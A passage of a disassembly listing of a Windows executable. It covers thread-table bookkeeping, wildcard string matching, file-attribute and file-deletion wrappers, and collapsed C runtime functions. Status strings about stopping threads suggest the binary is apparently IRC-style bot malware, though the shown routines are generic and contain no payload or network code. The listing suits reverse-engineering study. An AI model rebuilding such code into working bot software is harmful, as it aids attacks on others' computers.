jz short loc_411E6B
inc [ebp+var_4]
loc_411E6B: ; CODE XREF: sub_411E35+1Aj
; sub_411E35+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4752D4
jl short loc_411E49
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_411E35 endp
; =============== S U B R O U T I N E =======================================
sub_411E82 proc near ; CODE XREF: sub_40226C+Bp
; sub_4022E3+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_430540
loc_411E89: ; CODE XREF: sub_411E82+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_411E92
inc eax
loc_411E92: ; CODE XREF: sub_411E82+Dj
add ecx, 234h
cmp ecx, offset dword_4752D0
jl short loc_411E89
retn
sub_411E82 endp
; =============== S U B R O U T I N E =======================================
sub_411EA1 proc near ; CODE XREF: sub_409557+495Dp
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_430540
loc_411EAB: ; CODE XREF: sub_411EA1+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_411EC4
add ecx, 234h
inc edx
cmp ecx, offset dword_4752D0
jl short loc_411EAB
pop esi
retn
; ---------------------------------------------------------------------------
loc_411EC4: ; CODE XREF: sub_411EA1+10j
mov eax, edx
pop esi
retn
sub_411EA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411EC8(int,int,int,int,int,int,int,char *Str)
sub_411EC8 proc near ; CODE XREF: sub_409557+502Ap
Dest = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
Str = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+Str], eax
jz short loc_411EE1
push [ebp+Str] ; Str
call _atoi
pop ecx
loc_411EE1: ; CODE XREF: sub_411EC8+Ej
push eax
push [ebp+arg_18]
call sub_411E35
pop ecx
test eax, eax
pop ecx
jle short loc_411F0D
push eax
lea eax, [ebp+Dest]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_411F27
; ---------------------------------------------------------------------------
loc_411F0D: ; CODE XREF: sub_411EC8+26j
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax ; Dest
call _sprintf
add esp, 10h
loc_411F27: ; CODE XREF: sub_411EC8+43j
cmp [ebp+arg_C], 0
jnz short loc_411F47
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
loc_411F47: ; CODE XREF: sub_411EC8+63j
lea eax, [ebp+Dest]
push eax
call sub_402D63
pop ecx
leave
retn
sub_411EC8 endp
; =============== S U B R O U T I N E =======================================
sub_411F56 proc near ; CODE XREF: sub_4027F8+206p
; sub_402A0C+238p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_430554[eax], ecx
mov dword_430540[eax], ecx
mov dword_430544[eax], ecx
mov dword_430548[eax], ecx
mov dword_43054C[eax], ecx
mov dword_430550[eax], ecx
mov byte ptr dword_430340[eax], cl
mov byte_430558[eax], cl
retn
sub_411F56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411F93 proc near ; CODE XREF: sub_409557+533Fp
; sub_4120C1+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_411F9D: ; CODE XREF: sub_411F93+68j
mov cl, [esi]
test cl, cl
jz short loc_411FFD
cmp eax, 1
jnz short loc_411FFD
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_411FFD
cmp cl, 2Ah
jz short loc_411FE4
cmp cl, 3Fh
jz short loc_411FC7
cmp cl, 5Bh
jz short loc_411FCC
xor eax, eax
cmp cl, dl
setz al
loc_411FC7: ; CODE XREF: sub_411F93+26j
inc [ebp+arg_4]
jmp short loc_411FF7
; ---------------------------------------------------------------------------
loc_411FCC: ; CODE XREF: sub_411F93+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_412029
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_411FF7
; ---------------------------------------------------------------------------
loc_411FE4: ; CODE XREF: sub_411F93+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4120C1
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_411FF7: ; CODE XREF: sub_411F93+37j
; sub_411F93+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_411F9D
; ---------------------------------------------------------------------------
loc_411FFD: ; CODE XREF: sub_411F93+Ej
; sub_411F93+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41200D
cmp eax, 1
jnz short loc_412024
inc esi
mov [ebp+arg_0], esi
jmp short loc_411FFD
; ---------------------------------------------------------------------------
loc_41200D: ; CODE XREF: sub_411F93+6Dj
cmp eax, 1
jnz short loc_412024
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_412024
cmp byte ptr [esi], 0
jnz short loc_412024
push 1
pop eax
jmp short loc_412026
; ---------------------------------------------------------------------------
loc_412024: ; CODE XREF: sub_411F93+72j
; sub_411F93+7Dj ...
xor eax, eax
loc_412026: ; CODE XREF: sub_411F93+8Fj
pop esi
pop ebp
retn
sub_411F93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412029 proc near ; CODE XREF: sub_411F93+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_41204A
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_41204A: ; CODE XREF: sub_412029+19j
push ebx
push esi
loc_41204C: ; CODE XREF: sub_412029+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_41205A
cmp [ebp+var_4], eax
jnz short loc_4120A6
loc_41205A: ; CODE XREF: sub_412029+2Aj
test edi, edi
jnz short loc_41209B
cmp bl, 2Dh
jnz short loc_41208F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_41208F
cmp al, 5Dh
jz short loc_41208F
cmp [ebp+var_4], edi
jnz short loc_41208F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_41209B
cmp bl, al
jg short loc_41209B
push 1
mov [edx], esi
pop edi
jmp short loc_41209B
; ---------------------------------------------------------------------------
loc_41208F: ; CODE XREF: sub_412029+38j
; sub_412029+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_41209B
push 1
pop edi
loc_41209B: ; CODE XREF: sub_412029+33j
; sub_412029+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41204C
; ---------------------------------------------------------------------------
loc_4120A6: ; CODE XREF: sub_412029+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4120B3
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4120B3: ; CODE XREF: sub_412029+82j
cmp edi, eax
jnz short loc_4120BC
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4120BC: ; CODE XREF: sub_412029+8Cj
mov eax, edi
pop edi
leave
retn
sub_412029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4120C1 proc near ; CODE XREF: sub_411F93+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4120DD: ; CODE XREF: sub_4120C1+3Aj
cmp [eax], bl
jz short loc_4120FD
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_4120F2
cmp cl, 2Ah
jnz short loc_4120FD
cmp cl, 3Fh
jnz short loc_4120F5
loc_4120F2: ; CODE XREF: sub_4120C1+25j
inc eax
mov [edi], eax
loc_4120F5: ; CODE XREF: sub_4120C1+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4120DD
; ---------------------------------------------------------------------------
loc_4120FD: ; CODE XREF: sub_4120C1+1Ej
; sub_4120C1+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_412108
inc dword ptr [esi]
jmp short loc_4120FD
; ---------------------------------------------------------------------------
loc_412108: ; CODE XREF: sub_4120C1+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_412129
mov edx, [esi]
cmp [edx], bl
jz short loc_41211A
xor eax, eax
jmp short loc_412189
; ---------------------------------------------------------------------------
loc_41211A: ; CODE XREF: sub_4120C1+53j
cmp cl, bl
jnz short loc_412129
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_412129
push 1
pop eax
jmp short loc_412189
; ---------------------------------------------------------------------------
loc_412129: ; CODE XREF: sub_4120C1+4Dj
; sub_4120C1+5Bj ...
push eax
push dword ptr [esi]
call sub_411F93
pop ecx
test eax, eax
pop ecx
jnz short loc_412173
loc_412137: ; CODE XREF: sub_4120C1+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_41213B: ; CODE XREF: sub_4120C1+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_412153
cmp cl, 5Bh
jz short loc_412153
cmp dl, bl
jz short loc_412153
inc eax
mov [edi], eax
jmp short loc_41213B
; ---------------------------------------------------------------------------
loc_412153: ; CODE XREF: sub_4120C1+82j
; sub_4120C1+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_41216A
push eax
push dword ptr [esi]
call sub_411F93
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_41216F
; ---------------------------------------------------------------------------
loc_41216A: ; CODE XREF: sub_4120C1+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_41216F: ; CODE XREF: sub_4120C1+A7j
cmp eax, ebx
jnz short loc_412137
loc_412173: ; CODE XREF: sub_4120C1+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_412186
mov eax, [esi]
cmp [eax], bl
jnz short loc_412186
mov [ebp+var_4], 1
loc_412186: ; CODE XREF: sub_4120C1+B6j
; sub_4120C1+BCj
mov eax, [ebp+var_4]
loc_412189: ; CODE XREF: sub_4120C1+57j
; sub_4120C1+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4120C1 endp
; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41274C proc near ; CODE XREF: sub_4027F8+39p
; sub_4030D9+2Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4280B0, eax
retn
sub_41274C endp
; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [00000120 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_412EA4 proc near ; CODE XREF: sub_403A2F+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_41B0A8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_412EC4
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
call __dosmaperr
pop ecx
loc_412EC0: ; CODE XREF: sub_412EA4+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_412EC4: ; CODE XREF: sub_412EA4+Dj
test al, 1
jz short loc_412EE5
test [esp+arg_4], 2
jz short loc_412EE5
mov dword_475524, 0Dh
mov dword_475528, 5
jmp short loc_412EC0
; ---------------------------------------------------------------------------
loc_412EE5: ; CODE XREF: sub_412EA4+22j
; sub_412EA4+29j
xor eax, eax
retn
sub_412EA4 endp
; ---------------------------------------------------------------------------
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_413BB6 proc near ; CODE XREF: sub_409557+2436p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_41B110 ; DeleteFileA
test eax, eax
jnz short loc_413BCC
call ds:dword_41B060 ; RtlGetLastWin32Error
jmp short loc_413BCE
; ---------------------------------------------------------------------------
loc_413BCC: ; CODE XREF: sub_413BB6+Cj
xor eax, eax
loc_413BCE: ; CODE XREF: sub_413BB6+14j
test eax, eax
jz short loc_413BDD
push eax
call __dosmaperr
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_413BDD: ; CODE XREF: sub_413BB6+1Aj
xor eax, eax
retn
sub_413BB6 endp
; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call __XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call __exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND]
off_4151EF dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
dd offset loc_414B43 ; jump table for switch statement
dd offset loc_414B5E
dd offset loc_414BAA
dd offset loc_414BE1
dd offset loc_414BE9
dd offset loc_414C1E
dd offset loc_414CB1
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_415F73 proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_415F73 endp
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND]
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__NLG_Notify1:
push ebx
push ecx
mov ebx, offset dword_428628
jmp short loc_417D60
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_2: ; Microsoft VisualC 2-8/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2
add esp, 8
pop ebp
retn 4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
